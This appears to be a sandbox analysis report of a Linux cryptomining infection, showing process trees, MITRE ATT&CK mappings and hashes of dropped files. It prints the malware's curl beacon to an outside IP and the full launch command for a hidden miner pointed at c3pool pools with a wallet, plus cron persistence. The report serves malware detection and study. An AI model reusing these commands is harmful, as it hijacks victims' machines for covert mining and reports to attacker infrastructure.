  PID:1296
- /usr/bin/head
  head -1
  2⤵
  PID:1301
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1300
- /usr/bin/head
  head -1
  2⤵
  PID:1304
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1303
- /usr/bin/head
  head -1
  2⤵
  PID:1307
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1306
- /usr/bin/head
  head -1
  2⤵
  PID:1310
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1309
- /usr/bin/head
  head -1
  2⤵
  PID:1313
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1312
- /usr/bin/head
  head -1
  2⤵
  PID:1316
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1315
- /usr/bin/head
  head -1
  2⤵
  PID:1319
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1318
- /usr/bin/head
  head -1
  2⤵
  PID:1322
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1321
- /usr/bin/head
  head -1
  2⤵
  PID:1325
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1324
- /usr/bin/head
  head -1
  2⤵
  PID:1328
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1327
- /usr/bin/head
  head -1
  2⤵
  PID:1331
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1330
- /usr/bin/head
  head -1
  2⤵
  PID:1334
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1333
- /usr/bin/head
  head -1
  2⤵
  PID:1337
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1336
- /usr/bin/head
  head -1
  2⤵
  PID:1340
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1339
- /usr/bin/head
  head -1
  2⤵
  PID:1343
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1342
- /usr/bin/head
  head -1
  2⤵
  PID:1346
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1345
- /usr/bin/head
  head -1
  2⤵
  PID:1349
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1348
- /usr/bin/head
  head -1
  2⤵
  PID:1352
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1351
- /usr/bin/head
  head -1
  2⤵
  PID:1355
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1354
- /usr/bin/head
  head -1
  2⤵
  PID:1358
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1357
- /usr/bin/head
  head -1
  2⤵
  PID:1361
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1360
- /usr/bin/head
  head -1
  2⤵
  PID:1364
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1363
- /usr/bin/head
  head -1
  2⤵
  PID:1367
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1366
- /usr/bin/head
  head -1
  2⤵
  PID:1370
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1369
- /usr/bin/head
  head -1
  2⤵
  PID:1373
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1372
- /usr/bin/head
  head -1
  2⤵
  PID:1376
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1375
- /usr/bin/head
  head -1
  2⤵
  PID:1379
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1378
- /usr/bin/head
  head -1
  2⤵
  PID:1382
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1381
- /usr/bin/head
  head -1
  2⤵
  PID:1385
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1384
- /usr/bin/head
  head -1
  2⤵
  PID:1388
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1387
- /usr/bin/head
  head -1
  2⤵
  PID:1391
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1390
- /usr/bin/head
  head -1
  2⤵
  PID:1394
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1393
- /usr/bin/head
  head -1
  2⤵
  PID:1397
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1396
- /usr/bin/head
  head -1
  2⤵
  PID:1400
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1399
- /usr/bin/head
  head -1
  2⤵
  PID:1403
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1402
- /usr/bin/head
  head -1
  2⤵
  PID:1406
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1405
- /usr/bin/head
  head -1
  2⤵
  PID:1409
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1408
- /usr/bin/head
  head -1
  2⤵
  PID:1412
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1411
- /usr/bin/head
  head -1
  2⤵
  PID:1415
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1414
- /usr/bin/head
  head -1
  2⤵
  PID:1418
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1417
- /usr/bin/head
  head -1
  2⤵
  PID:1421
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1420
- /usr/bin/head
  head -1
  2⤵
  PID:1424
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1423
- /usr/bin/head
  head -1
  2⤵
  PID:1427
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1426
- /usr/bin/head
  head -1
  2⤵
  PID:1430
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1429
- /usr/bin/head
  head -1
  2⤵
  PID:1433
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1432
- /usr/bin/head
  head -1
  2⤵
  PID:1436
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1435
- /usr/bin/head
  head -1
  2⤵
  PID:1439
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1438
- /usr/bin/head
  head -1
  2⤵
  PID:1442
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1441
- /usr/bin/head
  head -1
  2⤵
  PID:1445
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1444
- /usr/bin/head
  head -1
  2⤵
  PID:1448
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1447
- /usr/bin/head
  head -1
  2⤵
  PID:1451
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1450
- /usr/bin/head
  head -1
  2⤵
  PID:1454
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1453
- /usr/bin/head
  head -1
  2⤵
  PID:1457
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:1456
- /bin/date
  date "+%m-%d %H:%M:%S"
  2⤵
  PID:1458
- /usr/bin/tr
  tr -c A-Za-z0-9._- _
  2⤵
  PID:1461
- /bin/hostname
  hostname
  2⤵
  PID:1460
- /bin/date
  date "+%s"
  2⤵
  PID:1462
- /usr/bin/curl
  curl -fsS -m 6 -A curl/7.0 "http://166.0.100.70/s?rk8=st&h=debian9-mipsbe-20260513-en-4_&s=down&t=1793104686"
  2⤵
  PID:1464

/usr/bin/setsid
setsid /tmp/xkv -o auto.c3pool.org:443 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:13333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:19999 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:23333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o 166.0.100.70:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k "--algo=rx/0" -t 1 -r 2 --no-color "--donate-level=1"
1⤵
- Executes dropped EXE
PID:1207

/tmp/xkv
/tmp/xkv -o auto.c3pool.org:443 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:13333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:19999 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:23333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o 166.0.100.70:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k "--algo=rx/0" -t 1 -r 2 --no-color "--donate-level=1"
1⤵
PID:1207

/bin/sh
/bin/sh /tmp/xkv -o auto.c3pool.org:443 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:13333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:19999 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o auto.c3pool.org:23333 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k -o 166.0.100.70:80 -u TNpE8YMAVPC9gioq2BrZ3ogGEzivERxLCx -p x -k "--algo=rx/0" -t 1 -r 2 --no-color "--donate-level=1"
1⤵
- Writes file to tmp directory
PID:1207

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

zm2

Path /etc/cron.d/zm2
Size 52B
SHA256 a3493d0dfdd66579fac24db0a939c4603267d20895f2d6d4abbf7b251afee844
MD5 ab385a61cc5a9fba064513e931c94ad9
SHA1 5307dae5527a08f81b666e12fb5d44dbaccee8d4
SHA512 e936cc8a418b779f5b27b533a852e0999ed745c5087151e187dd7b96725c81054422fd5a8f932c095ecfe401ea78a5e67156597b8f74afdbfed8c1cc233fdfb3
TLSH
T1FB9002B270554A152114DC7C6116008A849355510454254144CDC474861D31F9101AD0
MD5 SHA1 SHA512 TLSH

Submit Download

.xkv.gz

Path /tmp/.xkv.gz
Size 3.3MB
SHA256 c42d078e9d81de5489bfbe9c906a21d0b05d6ac21c8f09d530464ce14cff4805
MD5 a459c58c4575b0ad65b97a9a08d1378d
SHA1 3d52c5ae203f4f5dd97e7e8b319aa43ca84b9551
SHA512 5d72ef74c4965086843f272d7e08fe69ef69caf0bb04e2d49739918cba633fb1d9cd82e15da677b42d6b1bf9af6f239667819a8b725f401a2dcc407442b0b493
SSDEEP 98304:U+Vi9T0+WjPTKmypQBpmePy8S1jdtFdqZsNMhi:NVi9oDLWQBkAyZDdqZw
TLSH
T178F5337C39F05E61969E89DE47538A1914AC8C1D1B9F71B3810F22DC4E6C3B70ADE72A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.zm2.sh

Path /tmp/.zm2.sh
Size 1KB
SHA256 e629813683891c2a6ddaa9f38342bbe2ee13172b79f53a7477284c698b3ba9b2
MD5 865391300e63477e44771126b2959037
SHA1 c90350a3fb4ca2afc5e26e10a01a421a77706532
SHA512 45bbd39316ed56b893de612bab51d224dabb8ea2855f7f278cbc5e2948badb79a702d8f07111a61fca0e6f34da30075c777f31e868e93db4d876cfc84fedfbe3
TLSH
T1E43166F4EDF24DF178648E04B83A4B26D45E75275C333DA0B1D114212D4CC93EEAE192
MD5 SHA1 SHA512 TLSH

Submit Download

xkv

Path /tmp/xkv
Size 8.0MB
SHA256 1e20bc257f7c637a95f935d613d9a9c17eede935f3ed96c1edd8c96c1cf6403e
MD5 a9c640efaae0101d2770b079feb05dd5
SHA1 5939a9b617d482a80c818fa694a7a0e8e1bfa5ca
SHA512 d783150905c608070c2682280f0fcc2987eebd2c18538da0d092da51c07688ebee44da61f56b7deec22c92f2590f6bd4ec5a9777562232524e4ebd677915322e
SSDEEP 98304:YSKSi/FM70AF/Auk3zX0H6aguAcFZqKjjMRPEkLqm7XyGkNA4xT0+x2gGYwZsVZf:ssQLqmjsxymsONkEZqIzolQdoG
TLSH
T127865B47B6E318FDC19AC470472FD663BD70B8984221797B7698AA302F67E205B1DF21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads